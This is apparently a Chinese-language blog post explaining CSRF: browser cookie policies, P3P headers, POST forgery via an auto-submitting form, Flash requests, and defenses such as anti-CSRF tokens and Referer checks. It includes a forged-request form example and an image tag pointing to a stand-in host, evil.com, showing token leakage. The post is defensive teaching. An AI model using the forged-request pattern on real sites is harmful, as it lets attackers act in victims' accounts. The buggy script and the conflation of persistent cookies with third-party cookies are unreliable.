CSRF

        CSRF 全稱是 Cross Site Request Forgery,即跨站點請求僞造。其主要原理是,利用用戶的身份操作用戶帳戶。

        具體的操作方式包括顯示攻擊和隱式攻擊。前者是將 CSRF 的 URL 貼在論壇等地,並誘使有執行權限的管理員點擊,該方式對於用戶是可察覺的;後者可以通過在自己的域構造一個頁面,精心配置 <img>、<iframe>、<script>、<link> 等標籤的 src 字段,指向 CSRF 的 URL,只要管理員訪問了 Hacker 域的頁面,即使沒有直接點擊 CSRF 的 URL,也能發起對其它站點的請求從而完成 CSRF。

一. 原理

1. 瀏覽器的 Cookie 策略

        瀏覽器持有的 Cookie 分爲 2 種:一種是 Session Cookie,又稱臨時 Cookie;另一種是 Third-party Cookie,也稱本地 Cookie。

        兩者的區別在於是否設置 Expire 時間。前者沒有指定 Expire 時間,保存在瀏覽器的進程空間內,在瀏覽器關閉後,Session Cookie 就失效了。後者指定了 Expire 時間,只有到了 Expire 時間後 Cookie 纔會失效,所以 Third-party Cookie 會保存在本地。

        如果瀏覽器從一個域的頁面中,要加載另一個域的資源,對於是否允許加載 Third-party Cookie,各個瀏覽器的策略是不一樣的。在當前主流的瀏覽器中,默認會攔截 Third-party Cookie 的有:IE6、IE7、IE8、Safari,不會攔截的有:FireFox2、FireFox3、Opera、Google Chrome、Android。

        瀏覽器攔截 Third-party Cookie 的發送,在某種程度上降低了 CSRF 的威力,因爲大部分敏感或者重要的操作都是隱藏在認證之後的。但是,攔截 Third-party Cookie 並不意味着萬事大吉。對於 IE 瀏覽器,攻擊者需要精心構造攻擊環境,比如誘使用戶在當前瀏覽器中先訪問目標站點,使得 Session Cookie 生效,那麼仍然可以實施 CSRF,即,幾乎所有的瀏覽器,都不會攔截 Session Cookie

2. P3P 頭

        P3P 頭是 W3C 制定的一項關於隱私的標準,全稱是 The Platform for Privacy Preferences。

        如果網站返回給瀏覽器的 HTTP 頭中包含 P3P 頭,則在某種程度上說,將允許瀏覽器發送 Third-party Cookie。在 IE 下即使是 <iframe>、<script> 等標籤也將不再攔截 Third-party Cookie 的發送。

            HTTP/1.1 200 OK

            P3P: CP=CURa ADMa DEVa PSAa PSDo OUR BUS UNI PUR INT DEM......

            Content-Type: text/html

            ......

        此外,P3P 頭也可以直接引用一個 XML 策略文件:

            ......

            P3P: policyref="http://xxxxxx/P3P/PolicyReferences.xml"

            ......

        更多關於 P3P 的內容,請參考 W3C 標準:www.w3.org/TR/P3P

        在網站的業務中,P3P 頭主要用於類似廣告等需要跨域訪問的頁面。但是很遺憾的是,P3P 頭設置後,對於 Cookie 的影響將擴大到整個域中的所有頁面,因爲 Cookie 是以域和 path 爲單位的,這並不符合“最小權限”原則。

        例如,訪問 www.b.com,頁面是一個 <iframe>,會發起對 www.a.com/test.php 的訪問,而 www.a.com/test.php 會對 www.a.com 域設置 Cookie。此時,由於跨域設置,在 www.a.com 上 Set-Cookie 是不會成功的。但是設置了 P3P 頭之後,則可以 Set 成功。

        正因爲 P3P 頭目前在網站中被廣泛應用,因此在防禦 CSRF 時不能依賴於瀏覽器對 Third-party Cookie 的攔截策略。而且,很多時候,如果測試 CSRF 時發現 <iframe> 等標籤在 IE 中居然能發送 Cookie,而又找不到原因,那麼很有可能就是 P3P 頭在作怪。

3. GET/POST 都可 CSRF

        在 CSRF 攻擊流行之初,曾經有一種錯誤的觀點,認爲 CSRF 攻擊只能由 GET 請求發起。因此很多開發者都認爲只要把重要的操作改成只允許 POST 請求,就能防止 CSRF 攻擊。

        這種錯誤的觀點形成的原因主要在於,大多數 CSRF 攻擊發起時,使用的 HTML 標籤都是 <img>、<iframe>、<script> 等帶 "src" 屬性的標籤,這類標籤只能夠發起一次 GET 請求,而不能發起 POST 請求。

        如果服務器端已經區分了 GET 與 POST,對於攻擊者來說,有若干種方法可以構造出一個 POST 請求。最簡單的方法,就是在一個頁面中構造好一個 form 表單,然後使用 JavaScript 自動提交這個表單。比如:

            <form action="http://www.a.com/register" id="register" method="post">

                <input type=text name="username" value="" />

                <input type=password name="password" value="" />

                <input type=submit name="submit" value="submit" />

            </form>

            <script>

                var f = document.getElementById("register");

                f.inputs[0].value = "test";

                f.inputs[0].value = "passwd";

                f.submit();

            </script>

4. Flash CSRF

        Flash 也有多種方式能夠發起網絡請求,包括 GET 和 POST,比如 URLRequest、getURL、loadVars 等。在 IE6、IE7 中,Flash 發送的網絡請求均可帶上 Third-party Cookie,但是從 IE8 起,Flash 發起的網絡請求已經不再發送 Third-party Cookie 了。


二. 防禦

1. 驗證碼

        雖然驗證碼能夠很好的遏制 CSRF,但是考慮到用戶體驗,網站不能給所有的操作都加上驗證碼。因此,驗證碼只能作爲輔助手段。

2. Referer Check

        雖然頁面與頁面之間一般都具有一定的邏輯關係,但是,服務器並非任何時候都能取到 Referer。很多用於出於隱私保護的考慮,限制了 Referer 的發送。在某些情況下,瀏覽器也不會發送 Referer,比如從 HTTPS 跳轉到 HTTP,出於安全的考慮,瀏覽器也不會發送 Referer。因此,無法依賴 Referer Check 作爲防禦 CSRF 的主要手段,但可用於監控 CSRF 的發生。

3. 參數加密

        CSRF 能夠成功的本質原因,是所有的參數都可以被預測。因此,如果對重要參數加密,就可以讓攻擊者猜不到參數。

        例如,一個刪除操作的 URL 是:

            http://host/path/delete?username=weiyuzhang&item=123

        把其中的 username 參數改成哈希值:

            http://host/path/delete?username=md5(salt+weiyuzhang)&item=123

        這樣,在攻擊者不知道 salt 的情況下,是無法構造該 URL 的。而服務器則可以從 Session 或者 Cookie 中取得 username=weiyuzhang 的值,然後結合 salt 來驗證請求,從而確定請求是否正常。

        該方案的缺點是,URL 難讀,會影響日誌分析,而且,如果 salt 發生變更,則用戶的收藏就失效了。

4. Anti CSRF Token

        以上面的 URL 爲例,保持原參數不變,新增一個參數 Token,該 Token 隨機:

            http://host/path/delete?username=weiyuzhang&item=123&token=[random(seed)]

        Token 必須足夠隨機,且應該作爲一個“祕密”,爲用戶與服務器共同持有,不能被第三方知曉。在實際應用中,Token 可以放在用戶的 Session 中,或者瀏覽器的 Cookie 中。由於 Token 的存在,攻擊者便無法再構造一個完整的 URL 實施 CSRF 攻擊。

        Token 需要同時放在表單和 Session 中。在提交請求時,服務器只需驗證表單中的 Token 與用戶 Session 或者 Cookie 中的 Token 是否一致,只有一致時才認爲是合法請求。

        如這個表單,Token 作爲一個隱藏的 input 字段,放在 form 中:

            <form id="itemsForm" target="_blank" name="itemsForm" method="post">

                <input type="hidden" value="xxxxxxxx" name="_tb_token">

        Token 的使用,有如下注意事項:

        1. Token 的生成一定要足夠隨機,需要使用安全的隨機數生成器生成 Token;

        2. 該 Token 不是爲了防止重複提交,因此,在 Token 消耗掉之前,都可以使用同一個 Token,但如果用戶已經提交了表單,則該 Token 已經被消耗,應該再次重新生成一個新的 Token;

        3. 如果 Token 保存在 Cookie 中,而不是服務器端的 Session 中,會帶來的問題就是,如果一個用戶打開幾個相同的頁面同時操作,但某個頁面消耗掉 Token 後,其它頁面的表單內保存的還是被消耗掉的那個 Token,因此其它表單提交時會出錯。這種情況下,可以考慮生成多個有效的 Token,以解決多頁面共存的場景;

        4. 需要注意 Token 的泄漏。比如以下頁面:

            http://host/path/manage?username=abc&token=[random]

        如果該頁面包含了一張攻擊者能夠指定地址的圖片:

            <img src="http://evil.com/notexist" />

        則 "http://host/path/manage?username=abc&token=[random]" 會作爲 HTTP 請求的 Referer 發送到 evil.com 的服務器上,導致泄漏。

        因此,在使用 Token 時,應該儘量把 Token 放在表單中,把敏感操作由 GET 改爲 POST,以 form 表單或者 AJAX 的形式提交,可以避免 Token 泄漏。

        對於在 form 中放入 Token,一般需要前端和框架配合完成。前端在 form 中預留相關字段,框架在渲染頁面時,填充該字段。把 Token 放入 Cookie 中也好辦。但是如何把 Token 放入 Session 中呢?或者說,如果瀏覽器不支持 Cookie,我們一般是怎麼做的?

        另外,CSRF 的 Token 僅僅用於對抗 CSRF 攻擊,當網站還同時存在 XSS 漏洞時,這個方案就會無效,因爲 XSS 可以模擬客戶端瀏覽器執行任意操作。在 XSS 攻擊下,攻擊者完全可以請求頁面後,讀出頁面裏的 Token 值,然後再構造出一個合法的請求。這個過程稱之爲 XSRF。???


三. 漏洞掃描

1. Rational AppScan

        基本原理是,通過對同一個需要檢測的 URL 或者 Service 按照順序發出兩次請求,發送兩次請求之間會做一次退出登陸的操作,如果一個對 CSRF 已經防範的網站是會發送回兩個不同的回覆內容的。

        PS:這是不是已經 out 了啊。大部分敏感操作都是隱藏在認證之後,退出登陸後,當然不能成功執行哇

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章